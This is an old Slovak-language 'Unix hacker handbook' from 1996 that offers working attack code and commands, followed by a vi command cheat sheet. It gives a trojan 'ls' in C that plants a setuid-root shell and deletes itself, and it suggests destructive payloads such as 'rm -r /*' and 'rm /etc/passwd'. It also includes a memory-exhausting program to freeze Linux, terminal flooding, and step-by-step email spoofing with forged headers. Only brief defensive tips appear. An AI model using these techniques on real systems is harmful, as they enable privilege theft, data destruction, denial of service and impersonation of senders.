Napisat prirucku unixoveho hackera tak, aby mna samotneho neobvinili zo sirenia informacii o tom, ako napadnut bezpecnost operacnych systemov, je tazke. Preto uvediem len stare zname veci, ktore je mozne vyuzit, len ak system spravuje nesposobily administrator. Prirucka je rozdelena na jednotlive kompilovatelne subory, ak nie je uvedene inak. Subory su od seba oddelene riadkami so znakom =. Tieto riadky nie su sucastou danych suborov.
============================================================================
/*
                        Milan Schmotzer PRESENTS

                          HACKING IN REAL LIFE



                                PART ONE

                        AKO PREVZIAT PRAVA ROOTOVI
                        ~~~~~~~~~~~~~~~~~~~~~~~~~~

                        V UNIXe sa veci maju takto:

        Je superuzivatel ( root ) a ten moze vsetko. A su obycajni
tajtrlici ( rozumej (po)uzivatelia ), ktori nemozu nic, len sa hrat v svojom
podadresari. Vsetko by bolo OK, lenze tajtrlici nemozu zapisovat nic nikam.
Citat mozu takmer vsetko, samozrejme.
Ako si potom mozem zmenit heslo prikazom passwd, ked to vyzaduje zapis
do suboru /etc/passwd a ja mam pravo piplat sa len v adresari /home/milan ?
Ha ! S tymto mali unixaci problemiky. Ale vyriesili to po svojom. Jednoducho
umoznili tzv. prepozicanie prav. To jest namiesto -rwx-w--w- pri vypise ls -la
uvidite -rwx-s--s- kde sice vlastnikom suboru je root, ale prepozicia prava
na zapis aj obycajnym smrtelnikom. Prave toto vyuziva nasledujuci program:
*/

                /* Vytvorte nasledujuci subor ls.c */

void
main(void)
{
seteuid(0);  /* Bez toho by tento program mal len prava obycajneho usera. */
setegid(0);  /* 1. riadok meni vlastnika na roota, tento riadok skupinu. */
             /* Po tomto prikaze teda program moze vsetko ( ak ho spustil
                root ). */
system("/bin/cp /bin/sh mismo");        /* (3) */
system("/bin/chmod 6755 mismo");        /* (4) */
system("/bin/rm -r ls");                /* (5) */
system("/bin/ls");                      /* (6) */
}

/*
        Tento zdrojak ( ak sa vola ls.c ) prekompilujete prikazom
                                make ls
                        a vznikne vykonatelny subor ls
                  ( ak vznikol a.out, premenujte ho na ls ).

        Nesmiete mat u seba subor s nazvom mismo ! Inak sa nemusi podarit
        jeho vytvorenie ( odskusane ).

        Ked teda root bude prezerat Vas adresar a napise ls, spusti namiesto
        programu /bin/ls Vas program ls vo Vasom podadresari a ten
        najprv skopiruje shell do suboru mismo,         (3)
        potom mu zmeni atributy na prepozicanie prav,   (4)
        potom sa sam zmaze                              (5)
        a potom spusti "pravy" prikaz /bin/ls           (6).

        Odteraz ked napisete mismo, budete mat prava roota. Mozte pridavat
        pouzivatelov, citat cudziu postu ( neprijemne ! ) alebo aj
        preformatovat disk ( moja najoblubenejsia cinnost ).

        Mimochodom - ls je nutne zmazat, inak by nas hned odhalili...
        ( U nas to robi bod (5) )

        ------------------------------------------------------------------



        Co moze na svoju obranu urobit root ?

        1. Nepisat ls, ale zasadne /bin/ls
        2. Ak ma mc ( Midnight Commander - podobny ako Norton Commander ),
           (pod)adresare prezerat zasadne s nim.
            U nas je na hrone aj na neurone a urcite aj inde.
        3. Na neurone ani na ostatnych linuxoch root nemusi robit vobec nic,
           lebo standardne je cesta nastavena tak, ze sa najprv spustaju
           subory v standardnych (pod)adrearoch, az potom z aktualneho - prikaz
           ls teda bude vzdy spusteny z adresara /bin
           Root by musel napisat ./ls
           ak by chcel spustit Vas subor, a to by asi neurobil...

        ----------------------------------------------------------------------

                                Co na to cracker ?

                    Vyrobit pascu na principe trojskeho kona.
        Trojsky kon je program, ktory si nedockavy root vezme k sebe a tam
        spusti. Cracker musi postupovat inak - musi dat programu nejaky
        pekny nazov a nechat roota nech "skusi" co to robi...


                M.P. pred asi dvoma rokmi pouzil takuto fintu:

        Kazdemu poslal mail: "Spusti u mna subor mikulas a privita Ta mikulas."
        A vsetci idioti ( root prvy ) to urobili - M. nechal svoj adresar
        otvoreny. Zdrojak mohol byt podobny tomu, co som Vam napisal, len
        vyhodil riadky (5) a (6) a doplnil tam mikulasove srandicky typu
        printf(" WOW, WOW, WOW !  Satan Claus is comming...");
        M. ale neurobil vobec NIC ( len jednu neskodnu vec ), len bol
        zvedavy, ci to funguje.
                                        FUNGUJE !


        A ESTE POZNAMOCKA:
                Je mozne robit aj ine finty, napriklad dopisat
        system("rm /etc/passwd");
        a teda ked root spusti vas programik, znemozni prihlasenie vsetkym
        pouzivatelom aj sebe...
        Ti skodoradostnejsi asi napisu
        system("rm -r /*");
        A vsetky disky budu zivat prazdotou... Nezabudnite, ze Unix ma len
        jeden hlavny adresar - a ako podadresare su v nom vsetky disky.
        Jeho vymazanim teda vymazeme vsetko, co je v danej chvili
        primountovane. Pozor na vec, ak si root predtym primontoval disk
        INEHO pocitaca, zazijeme kopu sprav typu

rm: Cannot remove file klavir.dat.  Acces denied.
rm: Cannot remove file video.  Acces denied.
rm: Cannot remove file ftp/ls/dos/command.com.  Acces denied.
rm: Cannot remove file pub/linux/slakware/roots144/color.gz.  Acces denied.

        a sme prezradeni !!!

        Niektore zo sprav zazijeme aj tak ( u suborov aktualne pouzivanych
        systemom ).
        Co s tym ?
        Presmerovat vystup aj chybovy vystup na zariadenie /dev/null,
        co je ako v MS-DOSe NUL.
*/
============================================================================



============================================================================
/*
                        Spomalenie LINUXoveho systemu.
                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                   Copyright (C) 1996 by Milan Schmotzer

        Ak tento program zaalokuje viac pamate, ako je na systeme
        spolu so swapom k dispozicii, system nebude realne pouzitelny.
        Napriklad reakcia na stlacenie klavesu moze trvat aj 10 minut.

        Vyrazne spomalit system sa nam vsak podari aj ked alokujeme
        prave tolko pamate, kolko ma realna RAM.

        Aktualne program alokuje 1000*10000=10 000 000 bytes RAM.

        Pomaha tu Control-C resp. Control-Break.
*/

#define MAXI 10000
#define MAXJ 1000

void
main(void)
{
int i,j;
char ja[MAXI][MAXJ];

for(;;)                 /* Nekonecna slucka :-) */
 for(i=0;i<MAXI;i++)
  for(j=0;j<MAXJ;j++)
   ja[i][j]=i*j%256;
}

===========================================================================


Dalej uz neuvadzam kompilovatelne subory.


===========================================================================



                                FLUSHING


        Flushing je stara metoda na "zahltenie" cudzieho terminalu. Urcite
si pamatate, ze program write napise spravu cudziemu pouzivatelovi. V spojeni
s programom cat je naozaj silny. Prikaz

$ cat subor.txt | write Csonto

zaplavi obrazovku pouzivatela s pouzivatelskou identifikaciou Csonto
obsahom suboru subor.txt. Samozrejme, cim je subor subor.txt vacsi, tym lepsie.
Mozeme pouzit aj zobrazenie binarneho suboru - to je absolutna spica.

Mozeme pisat aj na neprihlaseny terminal napriklad tty2 prikazom

$ cat subor.txt > /dev/tty2

Posielanie programov na graficky terminal ineho pouzivatela sme prebrali
v prirucke zacinajuceho systemoveho administratora Linuxu.


===========================================================================


                POSIELANIE FALOSNYCH E-MAILOV
   

Povedzme, ze chcete poslat falosny e-mail pouzivatelovi s pouzivatelskou
identifikaciou ducai na stroj neuron-ai.tuke.sk. Pripojte sa ( programom
telnet ) na 25 port pocitaca neuron-ai.tuke.sk. No, nedam ruku do ohna za to,
ci to nie je 26 port. V tejto chvili nemam nainstalovane siete. A nechce sa
mi to skusat. Odskusajte si to sami. Aspon sa pohrate. Odteraz si stroj
neuron-ai.tuke.sk mysli, ze ste pocitac. Svoj odkaz musite napisat takto:
   

 HELO italy.com
 MAIL FROM:cicolina@italy.com
 RCPT TO:ducai@neuron-ai.tuke.sk
 DATA

                Hello,

 Are You free tomorrow ? I'm waiting for You.


                        Your
                                         Cici
        
 .
 QUIT

   
Na posielanie e-mailov sa pouziva SMTP protokol (SendMail Transfer Protocol).
Uvedene prikazy su jeho malickou podmnozinou.

Program telnet pod Windows umoznuje priame napojenie sa na UNIXovy pocitac.
To je vyhoda, pretoze v hlavicke nezobrazovanej programami na citanie posty
elm ci pine budu pri odosielani s UNIXu aj data o skutocnom pouzivatelovi.
Windows NT umoznuju prihlasit sa ako guest. Klasicke Windows moze spustit
hocikto. A tak nik nema moznost identifikovat odosielatela pracujuceho
pod Windows - iba stroj, odkial bola sprava poslana.


===========================================================================



                POSIELANIE PERFEKTNYCH FALOSNYCH E-MAILOV

                Copyright (C) 1996 by Milan Schmotzer :-)


Vyhodou tohto postupu je, ze bezny pouzivatel s IQ < 150 nevie zistit, ze sa
jedna falosny e-mail. Zial, funguje len na lokalnych strojoch. Pouzivatel
po prihlaseni NEDOSTANE oznam, ze ma postu. NEFUNGUJE ani ".forward". POZOR !
Nesmiete sa pomylit, pretoze system to ulozi do .log suborov zaznamenajucich
chyby !

Toto zarucene funguje, ak root nenakonfiguroval program deliver.
Je potrebne odskusat poslat takyto mail sam sebe a precitat jeho hlavicku
(v ELM je to prikaz h ak necitame mail, ale mame navoleny jeho nazov
 v ponuke), ak tam nikde nie je nase meno ci adresa, je to nezistitelne.

Pozor ! Nerobit destrukcne veci - aktivity programu deliver sa mozu zapisovat
do log suboru niekde v /usr/... a sikovny root na to pride !
Sikovnych rootov je malo :-).
Podme na to. Napiste

$ deliver -h italy.it -r Cicolina@italy.it ducai < tysubor

kde subor tysubor obsahuje nasledovne:

From Cicolina@italy.it Thu Aug 15 01:12:36 1996
Return-Path: Cicolina
Received: (from Cicolina@italy.it) by italy.it (8.6.12/8.6.9) id AAA00901; Thu,
15 Aug 1996 00:28:14 +0100
From: Cicolina <cicolina@italy.it>
Message-Id: <199608142328.AAA00901@italy.sk>
Subject: I love you !
To: ducai@neuron-ai.tuke.sk, schmotze@neuron-ai.tuke.sk
Date: Thu, 15 Aug 1996 00:28:14 +0100 (GMT+0100)
Priority: SUPER
Precedence: 7
Expires: Fri, 4 Oct 96
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1161
Status: RO

                Hello, my dear !

        I'm crazy to You.

                        Your Cicolina


Samozrejme takto si to nikto nezapamata, je treba poslat sam sebe obycajny
mail a potom jeho hlavicku skopirovat do suboru tysubor. Tento subor
jednoducho upravit napr. pomocou editora vi tak, ze vsetky vyskyty nasho
loginu a mena zamenit za Cicolina a vsetky vyskyty nazvu nasho servera
za italy.it.

Niektore riadky su dost dlhe - nezanedbat !
 

PRILOHA II

PREHLAD NIEKTORYCH PRIKAZOV

EDITORA VI

(anglicky)

i insert text BEFORE the current cursor position
a add text AFTER the current cursor position
o open a new line AFTER the current one
O open a new line BEFORE the current one
r replace the current character with another one
R replace the current text with a text
s replace the current character with a text
dd delete the current line
10dd delete 10 lines from the current one
d4<space> delete 4 characters from the current one
d4l delete 4 letters ( characters ) from the current one
"ad10w delete 10 words from the current one and place them into the buffer a
"ay7w copy 7 words from the current one and place them into the buffer a
"b4Y copy 4 lines from the current one and place them into the buffer b
"ap place the text from the buffer a AFTER the current cursor position
"aP
place the text from the buffer a BEFORE the current cursor position
. repeat the last command
:w xyz write to file xyz
:r abc read text from the file abc
:q! quit without saving
:q quit ( but not quit if there are unsaved changes )
:w save current file
:wq write to current file and quit
ZZ same command as the :wq


CURSOR MOVING

Try the next commands:
h, j, k, l, w, b, e, H, M, L, Ctrl-f, ctrl-b, (, ), [, ], {, }